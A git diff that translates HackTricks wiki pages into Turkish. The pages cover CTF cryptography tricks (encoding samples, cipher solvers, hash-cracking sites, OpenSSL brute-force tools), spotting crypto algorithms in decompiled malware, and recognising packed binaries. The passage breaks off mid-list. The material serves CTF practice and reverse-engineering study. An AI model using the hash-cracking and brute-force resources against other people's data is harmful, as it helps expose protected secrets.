[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..12eb22f99 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**Google'la ara**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -19,13 +19,13 @@ ## Magic Autosolvers - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modülü) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) ## Encoders -Most of encoded data can be decoded with these 2 ressources: +Kodlanmış verilerin çoğu bu 2 kaynakla çözülebilir: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - Çok iyi! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Tüm bu tabanları kontrol edin: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Ölü: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Dvorak klavye ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Harfleri sayısal değerlerine dönüştürme ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin. ``` krodfdudfrod ``` +### SMS Kodu -### SMS Code +**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\ +Örneğin: 2=A, 22=B, 222=C, 3=D...\ +Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz. -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### Bacon Kodu +Her harfi 4 A veya B (veya 1 ve 0) ile değiştirin. ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir. ## Easy Crypto @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +Bir anahtar kelime gereklidir. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Bir anahtar kelime gereklidir ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Güçlü Kripto ### Fernet -2 base64 strings (token and key) - +2 base64 dizesi (token ve anahtar) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Samir Gizli Paylaşımı +Bir gizli X parçaya bölünür ve onu geri almak için Y parçaya ihtiyacınız vardır (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) ### OpenSSL brute-force @@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Araçlar - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..b5481942a 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# Kriptografik/Sıkıştırma Algoritmaları -## Cryptographic/Compression Algorithms +## Kriptografik/Sıkıştırma Algoritmaları {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## Algoritmaları Tanımlama -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +Eğer bir kod **sağa ve sola kaydırma, XOR ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. -### API functions +### API fonksiyonları **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +Verilen bir veri tamponunu sıkıştırır ve açar. **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içindeki belirli bir anahtar konteynerine bir tanıtıcı almak için kullanılır. **Bu döndürülen tanıtıcı, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarına yapılan çağrılarda kullanılır. **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Bir veri akışının hash'ini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### Kod sabitleri -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +Bazen, bir algoritmayı tanımlamak gerçekten kolaydır çünkü özel ve benzersiz bir değer kullanması gerekir. ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +Bu nedenle, dekompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\ +Diğer sabitlerden herhangi birini arayabilirsiniz ve (muhtemelen) aynı sonucu alırsınız. -### data info +### veri bilgisi -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\ +Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının tablolarıyla** ilişkili olduğunu bulabilirsiniz. -## RC4 **(Symmetric Crypt)** +## RC4 **(Simetrik Kriptografi)** -### Characteristics +### Özellikler -It's composed of 3 main parts: +3 ana bölümden oluşur: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **Başlatma aşaması/**: **0x00 ile 0xFF arasında değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır. +- **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. +- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, daha önce oluşturulan değerlerle **XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır. > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **Bir deşifreleme/dekompile edilmiş kodda RC4'ü tanımlamak için 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde daha önce oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacı olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **Karıştırma Aşaması:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **XOR Aşaması:** ![](<../../images/image (904).png>) -## **AES (Symmetric Crypt)** +## **AES (Simetrik Kriptografi)** -### **Characteristics** +### **Özellikler** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- **yer değiştirme kutuları ve arama tabloları** kullanımı +- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili dosyada **saklanabilir** veya _**dinamik olarak**_ _**oluşturulabilir**._ +- **Şifreleme anahtarı** **16'ya** (genellikle 32B) **tam bölünebilir** olmalıdır ve genellikle 16B'lik bir **IV** kullanılır. -### SBox constants +### SBox sabitleri ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(Simetrik Kriptografi)** -### Characteristics +### Özellikler -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif) +- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğu (son derece uzun fonksiyon) -### Identifying +### Tanımlama -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmaları tarafından da kullanıldığını unutmayın).\ +Ayrıca **döngünün boyutuna** (**132**) ve **dekompile** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri sayısına** dikkat edin: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +Daha önce belirtildiği gibi, bu kod herhangi bir dekompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Dekompile edilmiş kod aşağıdaki gibi görünebilir: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile **karşılaştırarak** tanımlamak mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme). -## RSA **(Asymmetric Crypt)** +## RSA **(Asimetrik Kriptografi)** -### Characteristics +### Özellikler -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- Simetrik algoritmalardan daha karmaşık +- Sabit yok! (özel uygulamaların belirlenmesi zordur) +- KANAL (bir kripto analizörü) RSA hakkında ipuçları gösteremiyor çünkü sabitlere dayanıyor. -### Identifying by comparisons +### Karşılaştırmalarla Tanımlama ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- 11. satırda (solda) `+7) >> 3` var, bu da 35. satırda (sağda) `+7) / 8` ile aynıdır. +- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor. ## MD5 & SHA (hash) -### Characteristics +### Özellikler -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3 fonksiyon: Init, Update, Final +- Benzer başlatma fonksiyonları -### Identify +### Tanımlama **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. Not edin ki sha_init'in MD5'de olmayan 1 sabiti vardır: ![](<../../images/image (406).png>) -**MD5 Transform** +**MD5 Dönüşümü** -Note the use of more constants +Daha fazla sabit kullanıldığına dikkat edin ![](<../../images/image (253) (1) (1).png>) ## CRC (hash) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- Daha küçük ve daha verimli çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır +- Sabitleri tanımlamak için arama tabloları kullanır -### Identify +### Tanımlama -Check **lookup table constants**: +**arama tablo sabitlerini** kontrol edin: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +Bir CRC hash algoritması şöyle görünür: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib (Sıkıştırma) -### Characteristics +### Özellikler -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- Tanınabilir sabit yok +- Algoritmayı Python'da yazmayı deneyebilir ve çevrimiçi benzer şeyler arayabilirsiniz -### Identify +### Tanımlama -The graph is quiet large: +Grafik oldukça büyük: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +Bunu tanımak için **3 karşılaştırmayı** kontrol edin: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 6699ec26f..69acf58df 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,24 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# Paketlenmiş ikililerin tanımlanması -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **string eksikliği**: Paketlenmiş ikililerde neredeyse hiç string bulunmaması yaygındır. +- Birçok **kullanılmayan string**: Ayrıca, bir kötü amaçlı yazılım bazı ticari paketleyiciler kullanıyorsa, çapraz referanssız birçok string bulmak yaygındır. Bu stringler mevcut olsa bile, bu durum ikilinin paketlenmediği anlamına gelmez. +- Bir ikilinin hangi paketleyici ile paketlendiğini bulmak için bazı araçlar da kullanabilirsiniz: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# Temel Öneriler -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- 